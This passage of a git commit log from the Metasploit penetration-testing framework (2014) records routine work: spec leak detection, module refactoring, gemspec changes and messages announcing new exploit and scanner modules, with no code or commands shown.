'metasploit/framework/spec/threads/logger/uuid'. In `after(:suite)`,
the log can be parsed to map the caller back to each UUID and then only
the UUID of the still existing threads is used to look up the caller and
print their stacktraces. This means only leaked threads callers will be
printed.
2014-11-06 14:05:35 -06:00
Tom Sellers
9295d9077e
Remove debugging output
2014-11-06 09:27:44 -06:00
Luke Imhoff
8f635a1d76
Remove empty define_task
...
MSP-11147
2014-11-06 09:11:31 -06:00
Luke Imhoff
8855e0731c
Fix multiline string indentation
...
MSP-11147
2014-11-06 09:11:12 -06:00
Luke Imhoff
8d06189a19
Tell use to run with rake spec to see Thread.new caller
...
MSP-11147
If the log isn't available, tell the user to rerun with `rake spec`
instead of printing nothing after the `:\n`, which looks incomplete.
2014-11-06 09:10:04 -06:00
Luke Imhoff
c1f1222783
Check that threads/suite.log exists before reading
...
MSP-11147
Even with leaked threads, there may be no log if the suite is run
without `rake spec`, such as when `rspec` is used directly to run a
subset of specs.
2014-11-06 09:07:11 -06:00
Tom Sellers
8bf6a34d6c
Fix empty session ID and cleanup
...
- Fixed handling of empty session IDs for those commands that required them
- Added help text for ranges with examples
2014-11-06 07:18:55 -06:00
Matias P. Brutti
ddb62c84b3
Removing add_host since it is not necessary :(
...
- Ups I did not needed this. I can get away with report_host and
report_client.
2014-11-05 18:03:23 -08:00
Matias P. Brutti
b5e6465916
Adding db.add_host() and workspace
...
- Adding add_host() Although Report host exists, this is a
straightforward method to metasploit-credential::creation::add_host()
- Add workspace.id to the responses of db.current_workspace and
db.workspace and db.get_workspace
2014-11-05 14:23:27 -08:00
Luke Imhoff
d66c98b34d
Remove prior log/metasploit/framework/spec/threads/suite.log
...
MSP-11147
2014-11-05 15:51:43 -06:00
Luke Imhoff
d4d710cc3a
Merge branch 'feature/MSP-11130/metasploit-framework-spec-constants' into feature/MSP-11147/thread-leak-detection
...
MSP-11147
Merge to get framework instance cleanup, which should clean up a lot of
thread leaks too.
Conflicts:
Rakefile
lib/metasploit/framework/spec.rb
spec/spec_helper.rb
2014-11-05 15:47:59 -06:00
Luke Imhoff
097aa330e1
Log caller for each Thread.new for rake spec
...
MSP-11147
2014-11-05 15:34:35 -06:00
Luke Imhoff
96990fdc02
Fail before suite if more than 1 thread exists
...
MSP-11147
Detect thread leaks in a `before(:suite)` configured by
`Metasploit::Framework::Spec::Threads::Suite.configure!` and fail if any
leaks are found.
2014-11-05 14:38:43 -06:00
Pedro Ribeiro
e71ba1ad4a
Push exploit for CVE-2014-6038/39
2014-11-05 20:12:03 +00:00
Pedro Ribeiro
490d6d046b
Merge pull request #6 from rapid7/master
...
merge
2014-11-05 20:10:42 +00:00
Luke Imhoff
382d34d398
Fix spec.name in metasploit-framework-full
...
MSP-11578
Left in 'metasploit-framework-db' after copying and forgot to update to
'metasploit-framework-full'.
2014-11-05 12:40:31 -06:00
Luke Imhoff
63b4c0beba
Depend on metasloit-framework in optional gemspecs
...
MSP-11578
Optional gemspecs should depend on the minimal metasploit-framework
because they don't work without metasploit-framework's code.
2014-11-05 12:33:44 -06:00
Luke Imhoff
9137bd6527
Revert "Update Gemfile.lock"
...
MSP-11578
This reverts commit a3829b800d .
2014-11-05 11:10:51 -06:00
Luke Imhoff
713578aea7
metasploit-framework-full.gemspec
...
MSP-11578
metasploit-framework-full depends on the minimal metasploit-framework
and all optional dependency gemspec: metasploit-framework-db and
metasploit-framework-pcap.
2014-11-05 10:20:09 -06:00
Luke Imhoff
a3829b800d
Update Gemfile.lock
...
MSP-11578
2014-11-05 09:55:31 -06:00
Luke Imhoff
5619b6d554
Add metasploit-framework as dependency of metasploit-framework-pcap
...
MSP-11578
Any of the optional depenency gems should depend on the minimal
metasploit-framework as it supplies the versioning information.
2014-11-05 09:51:38 -06:00
Luke Imhoff
06222911f6
Move pcap bundler group to metasploit-framework-pcap.gemspec
...
MSP-11578
This will allow Metasploit Pro to use the
metasploit-framework-pcap.gemspec to ensure it has the correct version of
gems that were previously only in metasploit-framework's Gemfile and so
weren't being checked for version compatibility when Pro used
metasploit-framework.gemspec.
2014-11-05 09:40:57 -06:00
Luke Imhoff
3093ba8394
Explicitly require 'metasploit/credential' and 'metasploit_data_models'
...
By putting the db group into the metasploit-framework-db.gemspec,
bundler no longer automatically required 'metasploit/credential' and
'metasploit_data_models' because gems, such as metasploit-framework-db,
are expected to explictly require their dependencies.
2014-11-05 09:25:50 -06:00
Luke Imhoff
a56a063b84
Move db bundler group to metasploit-framework-db.gemspec
...
MSP-11578
This will allow Metasploit Pro to use the
metasploit-framework-db.gemspec to ensure it has the correct version of
gems that were previously only in metasploit-framework's Gemfile and so
weren't being checked for version compatibility when Pro used
metasploit-framework.gemspec.
2014-11-05 08:58:46 -06:00
Tom Sellers
2bec646393
rolling back a change
2014-11-05 06:49:06 -06:00
Tom Sellers
8aa6fca760
Minor fixes and status update
...
Minor tweaks after the PR from @kernelsmith
Remaining items:
1. Handle empty session IDs correctly, for example 'sessions -d' or 'sessions -k'
2. Find a method of explaining the range options in the help text
3. Retest all changed code areas
4. Edit PR Summary to reflect changes to the scope
2014-11-05 06:46:55 -06:00
Tom Sellers
ff6bc5cf68
Merge pull request #3 from kernelsmith/landing/4063-DRYer
...
modernizes & DRYs session/job ranges from kernelsmith
2014-11-05 06:05:14 -06:00
Joshua Smith
78a4ee686b
modernizes & DRYs session/job ranges
2014-11-04 23:33:31 -06:00
Fatih Ozavci
d91ffa893b
Viproy is removed from names
...
Author sections are fixed
2014-11-05 15:44:32 +11:00
Luke Imhoff
9f573e2d8d
Revert "Add .log extension to metasploit/framework/spec/constants/suite log"
...
MSP-11130
This reverts commit 4f986c4a48 .
Extension wasn't there because it was a directory name and a log file
name.
2014-11-04 14:03:54 -06:00
Luke Imhoff
dee02fc85b
Automatically clear previous log/metasploit/framework/spec/constants/each.log
...
MSP-11130
Have a task, 'metasploit:framework:spec:constants:each:clean' run before
`rake spec` that removes the previous
`log/metasploit/framework/spec/constants/each.log` so that the user doesn't
have to manually remove the load when removing
`Metasploit::Framework::Spec::Constants::Each.configure!` from
`spec/spec_helper.rb`.
2014-11-04 13:58:13 -06:00
nullbind
56a02fdb4a
added mssql_escalate_executeas_sqli.rb
2014-11-04 13:38:13 -06:00
Luke Imhoff
313d86982c
Log Spec::Constants::Each error instead of flag.
...
MSP-11130
Instead of writing `1` to the file and then printing a verbose message
in the spec task action, log the verbose message and just print the log
in the spec task action, so other tools can just look at the log when
not using `rake spec`.
NOTE: Failing specs due to unnecessary
`Metasploit::Framework::Spec::Constants::Each.configure!`
2014-11-04 13:36:52 -06:00
Luke Imhoff
1d09fa677e
log/remove-cleaner -> log/metasploit/framework/spec/constants/each.log
...
MSP-11130
Rename log file to match naming scheme for
Metasploit::Framework::Spec::Constants::Suite.
2014-11-04 13:21:47 -06:00
Luke Imhoff
4f986c4a48
Add .log extension to metasploit/framework/spec/constants/suite log
...
MSP-11130
2014-11-04 13:20:10 -06:00
Luke Imhoff
45fea32c77
Use 'Metasploit::Simple::Framework#modules loading' in 'payloads can be instantiated'
...
MSP-11130
Use `expect_to_load_module_ancestor` and `load_and_create_module` in
favor of the custom code in 'payloads can be instantiated'.
2014-11-04 13:06:52 -06:00
Luke Imhoff
c115ad3c36
Use load_and_create_module in modules_spec
...
MSP-11130
Reuse 'Msf::Simple::Framework#modules loading' context in 'all modules
with module type can be instantiated' instead of using the similar code.
2014-11-04 12:59:59 -06:00
jvazquez-r7
eb8d4b6772
Force LITTLE_ENDIAN by default
2014-11-04 10:39:42 -06:00
Luke Imhoff
7cb0954a6e
Add manual removal of log/remove-cleaner to Each removal
...
MSP-11130
When removing `Metasploit::Framework::Spec::Constants::Each.configure`
from spec/spec_helper.rb,
`Metasploit::Framework::Spec::Constants::Each.define_task` will see the
`log/remove-cleaner` from the last run unless it is manually removed.
2014-11-04 10:10:28 -06:00
Luke Imhoff
b0f1b2a1f7
Merge branch 'master' into feature/MSP-11130/metasploit-framework-spec-constants
...
MSP-11130
Conflicts:
Rakefile
2014-11-04 10:10:12 -06:00
Luke Imhoff
cc4e553c11
Remove Metasploit::Framework::Spec::Constants::Each.configured!
...
MSP-11130
No longer needed because all before suite leaks have been fixed.
2014-11-04 09:50:16 -06:00
Luke Imhoff
0c769e2fd7
Fix constant leaks in Msf::Util::EXE spec
...
MSP-11130
Remove global $framework as it loads modules prior to suite run and they
are not cleaned up.
2014-11-04 09:48:55 -06:00
Luke Imhoff
78ea93044b
Fix Msf::PayloadGenerator spec constant leaks
...
MSP-11130
Remove the constant PAYLOAD_FRAMEWORK as it leads to a
Msf::Simple::Framework instance that is not cleaned up and loads modules
prior to the beginning of the suite run.
2014-11-04 09:48:02 -06:00
Luke Imhoff
ff0391cdc7
Fix derive_module_ancestor_names
...
MSP-11130
Wrap :reference_name in an Array since :ancestor_reference_names is
expected to be an Array.
2014-11-04 09:40:55 -06:00
nullbind
15119d2a0f
comment fix-sorry
2014-11-04 09:07:08 -06:00
nullbind
f108d7b20a
fixed code comment
2014-11-04 08:51:27 -06:00
Meatballs
5c215ac0c3
Merge branch 'master', remote-tracking branch 'upstream/master'
2014-11-04 11:55:08 +00:00
jvazquez-r7
3b1042b903
Add specs for Rex::OLE::DirEntry#from_s
2014-11-03 17:09:37 -06:00
jvazquez-r7
ac5996f21a
Merge Rex::OLE::DirEntry specs
2014-11-03 15:34:10 -06:00
jvazquez-r7
d023c9243f
Add specs for Rex::OLE::DirEntry
2014-11-03 15:31:12 -06:00
jvazquez-r7
41800163dd
Fix recursive call to find_by_sid
2014-11-03 14:25:29 -06:00
jvazquez-r7
930b482412
Merge specs for Rex::OLE::MiniFAT
2014-11-03 11:36:39 -06:00
jvazquez-r7
e56220e5b7
Add specs for Rex::OLE::MiniFAT
2014-11-03 11:34:23 -06:00
nullbind
fbe3adcb4c
added mssql_escalate_executeas module
2014-11-03 11:29:15 -06:00
Luke Imhoff
9ea1240cbb
Default modules_path
...
MSP-11130
Default `:modules_path` to use the `#modules_path` left for
'Msf::Simple::Framework#modules#loading''s `#load_and_create_module`.
2014-11-03 11:06:49 -06:00
Luke Imhoff
0296d1784d
Derive ancestor reference names from reference name
...
MSP-11130
For 'Msf::Simple::Framework#modules loading''s load_and_create_modules,
don't require `:ancestor_reference_names` when the `:module_type` is not
payload as the one ancestor reference name will be the same as
`:reference_name`.
2014-11-03 10:59:01 -06:00
Jon Hart
8f197d4918
Move to build_probe
2014-11-03 08:41:51 -08:00
Jon Hart
05dd3fa4ba
rport, not datastore['RPORT']
2014-11-03 08:26:11 -08:00
Luke Imhoff
d97bc52d8a
Complete documentation for 'Msf::Simple::Framework::Modules loading'
...
MSP-11130
2014-11-03 09:47:29 -06:00
jvazquez-r7
9d84dda86b
Merge Rex::OLE::DIFAT specs
2014-11-03 09:24:40 -06:00
jvazquez-r7
cf18225c27
Finish Rex::OLE::DIFAT specs
2014-11-03 09:23:26 -06:00
Luke Imhoff
f0001eb9e6
Extract 'Msf::Simple::Framework#modules loading'
...
MSP-11130
'Msf::Simple::Framework#modules loading' defines
`#load_and_create_module`, which takes the :ancestor_reference_names,
:modules_path, :module_type, and :reference_name of the module whose
ancestors to load and the reference name to create. A default modules
path, the first 'modules' path for the Rails application is available in
in the `#modules_path` let.
2014-11-03 08:59:06 -06:00
Jon Hart
121ebdfef6
update_info
2014-10-31 13:17:50 -07:00
Tom Sellers
0b8b0499f3
- Added range support to sessions -c and sessions -s
...
- Added check for un-detach-able sessions
- Added back the check for session.interactive? when detaching sessions
- Collapse build_jobs_array and build_sessions_array to build_range_array
- Added check for empty or invalid parameters to detach and kill [session | job]
- Reworked session id sanity check around line 1660
- RuboCop/Style guide change: Array.new -> []
- Misc RuboCop/Style guide spacing changes
2014-10-31 15:02:17 -05:00
Jon Hart
83475bb929
Disable UnneededPercentQ in Rubocop
2014-10-31 12:19:17 -07:00
Jon Hart
f5ee2d7948
Update .rubocop.yml to use correct Metrics namespace
2014-10-31 12:15:32 -07:00
Jon Hart
b99e71dcdd
Example UDPScanner style cleanup, move most to UDPScanner
2014-10-31 12:14:04 -07:00
Jon Hart
c921611821
Move default probe and result store to UDPScanner, since most need it
2014-10-31 12:02:21 -07:00
Jon Hart
ff0b52cffb
Example per-batch vprint, a useful default
2014-10-31 10:31:31 -07:00
Jon Hart
1f6658639f
More sane % printing for aux scanner
2014-10-31 10:25:01 -07:00
Jon Hart
94d4388af9
Improvements to example UDPScanner
2014-10-31 09:53:10 -07:00
Jon Hart
f16720bb55
Trailing ,
2014-10-31 09:39:34 -07:00
Jon Hart
f66c43475b
More sane % printing for aux scanner
2014-10-31 09:39:21 -07:00
Jon Hart
77cd6dbc8b
Usability improvements to UDPScanner
...
* Add RPORT as a regular option, define rport
* Add CPORT as an advanced option, define cport
* Change CHOST to an advanced option
* Use a more sane THREADS value since hosts are scanned in batches
2014-10-31 09:20:14 -07:00
Jon Hart
d9f0a10737
Add new example template for scanning UDP services
2014-10-31 08:06:31 -07:00
Luke Imhoff
8b4767449f
Fix constant leaks in Msf::EncodedPayload spec
...
MSP-11130
Switch to using 'Msf::Simple::Framework' shared context and explicit
module loading instead of loading all moduels to just test with one.
2014-10-30 14:56:47 -05:00
Luke Imhoff
325c01e45d
Log constants leaked before and after suite
...
MSP-11130
Some constants can be leaked before suite if module are loaded during
spec loading, such as if a framework instance in made in the context
body of a spec instead of in a before callback.
2014-10-30 14:04:07 -05:00
Luke Imhoff
ae0a98785f
Print when Metasploit::Framework::Spec::Constants::Each before(:each) cleans
...
MSP-11130
Print to stderr the full description of the example when
`Metasploit::Framework::Spec::Constants.configure!`'s `before(:each)`
cleans constants as it may clean constants that are leaked from the
class level at parse time.
2014-10-30 12:34:55 -05:00
Deral Heiland
a6980b9eb8
Updated to module based feedback from wchen-r7
2014-10-30 12:59:11 -04:00
Luke Imhoff
c8e4745d6d
Fail rake spec if leak tracking unnecessary
...
MSP-11130
Fail `rake spec` if
`Metasploit::Framework::Spec::Constants::Each.configure!`'s
`before(:each)` does not clean all leaked constants and if should be
removed so that it does not interefore with future specs.
2014-10-30 09:37:17 -05:00
Luke Imhoff
c2bd75b587
Clean up leaked constants
...
MSP-11130
2014-10-29 15:50:47 -05:00
Deral Heiland
6c13c14be1
Konica MFP ftp and SMB credential gathering module
2014-10-29 16:12:16 -04:00
Luke Imhoff
7e2897277b
Rename shared example file to match name
...
MSP-11130
2014-10-29 12:54:29 -05:00
Luke Imhoff
892aeaf727
Metasploit::Framework::Spec::Constants cleaner
...
MSP-11130
Shared context will calls `Metasploit::Framework::Spec::Constants.clean
after each example.
2014-10-29 11:31:17 -05:00
jvazquez-r7
35e385f634
Add first specs version for Rex::OLE::DIFAT
2014-10-28 16:45:21 -05:00
Luke Imhoff
0d4b22ce7a
Detect constant leaks in individual examples
...
MSP-11130
`Metasploit::Framework::Spec::Constants::Each.configure!` will set up an
`after(:each)` callback that will fail the example if there are leaked
constants. Leaked constants are cleaned up to prevent misattribution.
2014-10-28 15:50:24 -05:00
Meatballs
4f61710c9a
Merge remote-tracking branch 'upstream/master' into psexec_refactor_round2
2014-10-28 20:26:44 +00:00
Luke Imhoff
f9b1f2a424
Extract Metasploit::Framework::Spec::Constants::Suite
...
MSP-11130
`Metasploit::Framework::Spec::Constants::Suite` extracts out
`LOG_PATHNAME`, `configure!`, and `define_task` as those piece are
specific to handling constant leaks for the entire suite. This is in
preparation for `Metasploit::Framework::Spec::Constants::Each`.
2014-10-28 15:07:32 -05:00
jvazquez-r7
526251fc16
Add specs for Rex::OLE::Header
2014-10-28 14:52:28 -05:00
Luke Imhoff
3ec9cf54c9
Filter non-loaded-module constants from leaked constants
...
MSP-11130
Constants from library Modules or Classes should not be reported as
leaked since they have been required and should be persistent between
spec runs.
2014-10-28 14:05:27 -05:00
Luke Imhoff
1a1f3335b8
Extract Metasploit::Framework::Spec::Constants.full_name
...
MSP-11130
Extract method to convert child constant names to module full names so
it can be reused 'Metasploit::Framework::Spec::Constants tracker' shared
context.
2014-10-28 13:53:48 -05:00
Luke Imhoff
a0a9c2140b
Log leaked constants and fail rake spec on leak
...
MSP-11130
Instead of printing the leaked constants to stderr, log them to
`log/leaked-constants.log`. In task action for spec, read
`log/leaked-constants.log`. If it exists, print each leaked constants
(and it appropriate it's module full name) and then exit with 1. If the
file does not exist, do nothing.
2014-10-28 11:21:35 -05:00
Tom Sellers
c6519d08c0
Merge pull request #2 from wvu-r7/pr/4063
...
Change killing back to stopping
2014-10-28 06:07:52 -05:00
William Vu
4251ad199e
Change killing back to stopping
...
Got a little excited with the copypasta, I guess.
2014-10-28 05:49:30 -05:00
Tom Sellers
88d093eb7e
Merge pull request #1 from wvu-r7/pr/4063
...
Add support for jobs -k ranges from @wvu
2014-10-28 05:00:54 -05:00
William Vu
5547890002
Add support for sessions -d ranges
2014-10-28 03:07:46 -05:00
William Vu
36c85b7150
Add support for jobs -k ranges
2014-10-28 03:01:53 -05:00
Jonathan Claudius
d799625507
Switch to vprint_good for verbose good things
2014-10-28 01:53:54 -04:00
Jonathan Claudius
0fa461737e
Fix null arguments syntax
2014-10-28 01:49:54 -04:00
Jonathan Claudius
7a727f9bff
Make msftidy happy
2014-10-28 01:48:13 -04:00
Jonathan Claudius
595b4d2bbd
Clean up aux check review comments
2014-10-28 01:44:52 -04:00
Fatih Ozavci
329b9ac292
Actions updates of the Viproy CUCDM exploits
2014-10-28 14:11:07 +11:00
Fatih Ozavci
703393e9f1
First revision of the Viproy CUCDM exploits
2014-10-28 13:53:13 +11:00
Luke Imhoff
605f48e58d
Detect leaked constants under Msf::Modules
...
MSP-11130
Detect constants leaked under Msf::Modules after the suite completes.
2014-10-27 11:13:43 -05:00
Tom Sellers
13b6f1cf48
Syntax changes
2014-10-25 09:39:15 -05:00
Fatih Ozavci
1db09fee01
Viproy VoIP Pen-Test Kit - Cisco CUCDM Exploits
2014-10-24 11:46:52 +11:00
Trevor Rosen
33ca914fc1
Merge branch 'landing/4045' into upstream-staging/great-backport
...
Land #4045
2014-10-23 13:02:29 -05:00
Tom Sellers
2a6a8245cf
Allow killing multiple specific sessions
2014-10-23 05:56:26 -05:00
OJ
52cbbe3677
Add some documentation to the ADSI functions
2014-10-21 10:34:47 +10:00
OJ
8329a15cb0
Merge branch 'upstream/master' into group_tlv_refactors
2014-10-21 09:54:55 +10:00
Luke Imhoff
080ea3e56a
Merge branch 'staging/great-backport' into feature/MSP-11126/msf-module-reorg
...
MSP-11126
2014-10-17 14:28:13 -05:00
Luke Imhoff
06fbbf7001
Fully-qualified Msf::NormalRanking in Msf::Module::Ranking
...
MSP-11126
Needed due to loss of `Msf` lexical scope.
2014-10-17 13:58:57 -05:00
Luke Imhoff
43354774e1
Fully qualified Msf::RankingName in Msf::Module::Ranking
...
MSP-11126
To compensate for loss of `Msf` lexical scope.
2014-10-17 13:43:51 -05:00
Luke Imhoff
ae45c1b9d3
Msf::Module::Rank -> Msf::Module::Ranking
...
MSP-11126
So that mixin module won't appear as Rank constant that Msf::Module
subclasses are supposed to define.
2014-10-17 13:39:53 -05:00
Luke Imhoff
a6a2886faa
Fully-qualify Msf::OptionContainer references
...
MSP-11126
2014-10-17 13:09:27 -05:00
Luke Imhoff
112b5988f2
Add missing autoload to fix loading on travis-ci
...
MSP-11126
`Msf::Module::Failure` fails to load on travis-ci probably due to a load
order difference, so add `:Failure` to autoloads in `Msf::Module`.
2014-10-17 13:05:59 -05:00
Luke Imhoff
0c00c7cc50
Fully-qualifiy Msf::MODULE_TYPES constants
...
MSP-11126
Fully-qualify `Msf::MODULE_TYPES`, `Msf::MODULE_ANY`,
Msf::MODULE_ENCODER`, `Msf::MODULE_EXPLOIT`, `Msf::MODULE_NOP`,
`Msf::MODULE_AUX`, `Msf::MODULE_PAYLOAD`, `Msf::MODULE_POST` so that
their usage isn't dependent on nested lexical scoping.
2014-10-17 12:43:40 -05:00
Luke Imhoff
7ffd07c44d
Remove protected method from specs examples
...
MSP-11126
2014-10-17 11:49:01 -05:00
Luke Imhoff
575717681c
Extract Msf::Module::Privileged shared examples
...
MSP-11126
2014-10-17 11:48:36 -05:00
Luke Imhoff
172afd180a
Extract Msf::Module::Privileged
...
MSP-11126
2014-10-17 11:45:03 -05:00
Luke Imhoff
45302b9403
Extract Msf::Module::UUID shared examples
...
MSP-11126
2014-10-17 11:34:35 -05:00
Luke Imhoff
cbae9be5b5
Extract Msf::Module::UUID
...
MSP-11126
2014-10-17 11:31:56 -05:00
Luke Imhoff
d86eda5f1d
Extract Msf::Module::Author shared examples
...
MSP-11126
2014-10-17 11:20:23 -05:00
Luke Imhoff
a59e635913
Extract Msf::Module::Author
...
MSP-11126
2014-10-17 11:17:12 -05:00
Luke Imhoff
e822920298
Msf::Module::Author -> Msf::Author
...
MSP-11126
`Msf::Module::Author` was already aliased to `Msf::Author`. This just
moved `Msf::Module::Author` to that alias to free up
`Msf::Module::Author` so it can be used for a concern for
`Msf::Module`'s author methods.
2014-10-17 08:59:54 -05:00
Luke Imhoff
ebc62cf9c9
Spec Msf::Module::Author
...
MSP-11126
Bare minimum of methods to assist with moves.
2014-10-16 16:03:28 -05:00
Luke Imhoff
839657abec
Extract Msf::Module::Network shared examples
...
MSP-11126
2014-10-16 15:54:35 -05:00
Luke Imhoff
b5039c3817
Extract Msf::Module::Network
...
MSP-11126
2014-10-16 15:51:59 -05:00
Luke Imhoff
ee9623c11e
Remove class method examples moved to shared examples
...
MSP-11126
2014-10-16 15:41:28 -05:00
Luke Imhoff
244e4a9954
Extract Msf::Module::Search shared examples
...
MSP-11126
2014-10-16 15:40:19 -05:00
Luke Imhoff
be945d26fc
Extract Msf::Module::FullName shared examples
...
MSP-11126
2014-10-16 15:33:13 -05:00
Luke Imhoff
2e538bd72d
Extract Msf::Module::Search
...
MSP-11126
2014-10-16 15:27:54 -05:00
Luke Imhoff
7743fdb2f9
Extract Msf::Module::FullName
...
MSP-11126
2014-10-16 15:24:59 -05:00
Luke Imhoff
0e53548c82
Extract Msf::Target
...
MSP-11126
2014-10-16 15:13:18 -05:00
Luke Imhoff
e5cc456be7
Extract Msf::Platform
...
MSP-11126
2014-10-16 15:11:59 -05:00
Luke Imhoff
27c006a8f9
Extract Msf::SiteReference
...
MSP-11126
2014-10-16 15:09:55 -05:00
Luke Imhoff
9981271e2a
extract Msf::Reference
...
MSP-11126
2014-10-16 15:03:21 -05:00
Luke Imhoff
c8730ca55b
Extract Msf::Author
...
MSP-11126
2014-10-16 14:59:15 -05:00
Luke Imhoff
fe5ffa9cec
Standardize on autoload over require
...
MSP-11126
Standardize on autoload to prevent trying to use colliding names for
included Module with Modules/Classes just under the namespace.
2014-10-16 14:58:08 -05:00
Luke Imhoff
c501e1e58a
Extract Msf::Module::Rank shared examples
...
MSP-11126
2014-10-16 14:41:59 -05:00
Luke Imhoff
d5c7a50e86
Extract Msf::Module::Rank
...
MSP-11126
2014-10-16 14:39:33 -05:00
Luke Imhoff
925cd63171
Extrat Msf::Module::Type shared examples
...
MSP-11126
2014-10-16 14:28:43 -05:00
Luke Imhoff
e6f442697b
Extract Msf::Module::Type
...
MSP-11126
2014-10-16 14:23:21 -05:00
Luke Imhoff
e418f98d45
arch -> Msf::Module::Arch
...
MSP-11126
2014-10-16 13:21:11 -05:00
Luke Imhoff
28af6a490b
Extract Msf::Module::Arch shared examples
...
MSP-11126
2014-10-16 13:16:57 -05:00
Luke Imhoff
44b2e5e35c
Extract Msf::Module::Arch
...
MSP-11126
2014-10-16 13:14:56 -05:00
Luke Imhoff
a2dc3b754f
Extract Msf::Module::ModuleInfo shared examples
...
MSP-11126
2014-10-16 13:10:15 -05:00
Luke Imhoff
31c93e9dbc
Extract Msf::Module::ModuleInfo
...
MSP-11126
2014-10-16 13:01:42 -05:00
Luke Imhoff
f8ada87e86
Extract Msf::Module::Options shared examples
...
MSP-11126
2014-10-16 11:24:03 -05:00
Luke Imhoff
f9caa4d25e
Extract Msf::Module::Options
...
MSP-11126
Methods for registering, derigsterings, and validating options.
2014-10-16 11:14:42 -05:00
Luke Imhoff
c50cb2eb8a
Extract Msf::Module::UI::*::Verbose and shared examples
...
MSP-11126
2014-10-16 10:05:45 -05:00
Luke Imhoff
a3afb92ee2
Extract Msf::Module::UI::Line shared examples
...
MSP-11126
2014-10-16 09:51:23 -05:00
Luke Imhoff
a9a6f0c5f9
Extract Msf::Module::UI::Line
...
MSP-11126
2014-10-16 09:50:07 -05:00
Luke Imhoff
96864b3892
Extract Msf::Module::UI::Message shared examples
...
MSP-11126
2014-10-16 09:45:17 -05:00
Luke Imhoff
bc2bd99698
Extract Msf::Module::UI::Message
...
MSP-11126
2014-10-16 09:39:30 -05:00
Luke Imhoff
4d9f7db15a
Extract Msf::Module::Compatibility
...
MSP-11126
2014-10-16 09:29:31 -05:00
Luke Imhoff
f5d09f735e
Extract Msf::Module::Compatibility
...
MSP-11126
2014-10-16 09:14:57 -05:00
Luke Imhoff
9b10a3f1dc
Extract Msf::Module::DataStore shared examples
...
MSP-11126
2014-10-16 09:14:44 -05:00
Luke Imhoff
85169d5e8d
Extract Msf::Module::DataStore
...
MSP-11126
2014-10-16 09:03:23 -05:00
Luke Imhoff
6a194b3a88
Extract Msf::Module::ModuleStore shared examples
...
MSP-11126
2014-10-16 09:03:12 -05:00
Luke Imhoff
f068d669d6
Extract Msf::Module::ModuleStore
...
MSP-11126
2014-10-16 09:03:07 -05:00
Luke Imhoff
370daaed5e
Extract Msf::Module::Failure
...
MSP-11126
Move `Msf::Module::Failure` to a file of its own.
2014-10-16 09:02:55 -05:00
Nikita
621b9523b1
Update tnspoison_checker.rb
2014-10-13 22:05:08 +04:00
Nikita
1996886ae9
Update tnspoison_checker.rb
2014-10-13 12:53:39 +04:00
Nikita
22aabc7805
Add new module to test TNS poison
...
This module simply checks the server for vulnerabilities like TNS Poison
2014-10-13 12:21:07 +04:00
James Lee
3329aa68ad
Fix baffling comment
...
See 9d759146
2014-10-06 18:55:52 -05:00
James Lee
e9f341fd6c
Rename to more intention-revealing name
2014-10-06 16:33:21 -05:00
James Lee
41e41e2f49
Fix typo that caused encoding to ignore saved regs
2014-10-06 16:24:50 -05:00
Vincent Herbulot
63426793ef
Use vars_get instead of direct URI concatenation
2014-10-02 11:03:12 +02:00
Vincent Herbulot
041d44ecc6
Spec modification to allow previous commit
...
The spec was requiring the WAR to be at /deploy but this path was a
typo introduce while refactoring. The initial correct path is
/deploy/management
2014-10-01 18:30:53 +02:00
Vincent Herbulot
6d07dffa6c
Fix a typo that was preventing WAR deletion
...
I made a typo while refactoring jboss_deploymentfilerepository. This
typo was preventing the WAR payload to be removed after its execution.
2014-10-01 18:04:21 +02:00
Vincent Herbulot
a48d6053ab
Added spec for jboss/deployment_file_repository
2014-10-01 11:57:01 +02:00
us3r777
47507e1ff1
Slight modifications to pass msftidy
2014-09-29 23:59:12 +02:00
us3r777
f9b6519e49
Added spec to new methods in Jboss mixin
2014-09-29 23:45:40 +02:00
us3r777
7125a9f047
Added YARD doc to the mixin
...
Also make a slight correction on jboss_deployementfilerepository.rb to
handle nil responses.
2014-09-28 19:44:37 +02:00
us3r777
02d202dd44
Refactor Jboss mixin
...
Use send_request_cgi and vars_get
rand_text_alpha -> Rex::Text.rand_text_alpha
2014-09-24 22:41:58 +02:00
us3r777
919eec250d
Refactor auto_target from Jboss mixin
...
Removed fail_with and targets from the mixin.
2014-09-24 22:15:32 +02:00
Thomas Ring
81406defed
hopefully what you are looking for this time
2014-09-23 11:36:13 -05:00
Sean Verity
4bd14ed5ea
Uses a hash for options as opposed to numerous methods on blob
2014-09-17 14:11:37 -04:00
Sean Verity
3c11251432
Mitigates excessive use of lookup operator (hopefully adds clarity)
2014-09-15 17:05:54 -04:00
Sean Verity
e55dab3914
Refactored expiration and timeout logic in client_core.rb
2014-09-15 01:01:23 -04:00
Jakob Lell
7db7b4db5e
Removed binary files from pull request (the code has already been converted to metasm)
2014-09-08 23:58:22 +02:00
us3r777
b8ba2dd703
Fix timeout with HEAD request in delete_file
2014-09-08 18:34:50 +02:00
us3r777
cc5b852517
Fixed spec for lib/msf/http/jboss
...
Revert commit abdd72e8c6 .
Added some spec for lib/msf/http/jboss/deployment_file_repository_scripts
2014-09-08 17:42:04 +02:00
Vincent Herbulot
283e83028f
Fix problem with HEAD requests
...
Split lib/msf/http/jboss/script into
lib/msf/http/jboss/deployment_file_repository_scripts.rb and
lib/msf/http/jboss/bean_shell_scripts.rb as
2014-09-08 14:02:15 +02:00
Jakob Lell
3e57ac838c
Converted LD_PRELOAD library from precompiled binary to metasm code.
2014-09-04 21:49:55 +02:00
us3r777
abdd72e8c6
Refactor spec to match lib/msf/jboss
...
Moved bean_hsell_scripts_spec to scripts_spec. Fixed a typo.
2014-08-31 19:13:40 +02:00
us3r777
403eae3579
Jboss file deployment repository refactorization
...
Moved lib/msf/http/jboss/bean_shell_script.rb to
lib/msf/http/jboss/script.rb. Moved head_stager_jsp to script.rb.
Removed stager_jsp to use the function from the mixin.
2014-08-30 13:15:37 +02:00
us3r777
33f90de7f6
Refactoring jboss module to work with the Mixin
...
Moved upload and delete methods of deploymentfilerepository to the
mixin. Removed call_uri_mtimes method as the module now uses deploy
from the mixin.
2014-08-29 20:08:35 +02:00
Thomas Ring
fbae68870c
cleanup one stray comment
2014-08-29 10:57:51 -05:00
Thomas Ring
4c93cbc62c
changes based on feedback, added timeout error message
2014-08-29 10:57:20 -05:00
Jakob Lell
052327b9c6
Removed redundant string "linux_" from exploit name
2014-08-27 23:33:15 +02:00
us3r777
af9f3b83a7
Refactoring jboss module to work with the Mixin
...
Removed datastore USERNAME and PASSWORD which are provided by
Msf::Exploit::Remote::HttpClient. Removed datastore PATH and VERB which
are provided by the mixin (lib/msf/http/jboss). Moved target detection
to the mixin.
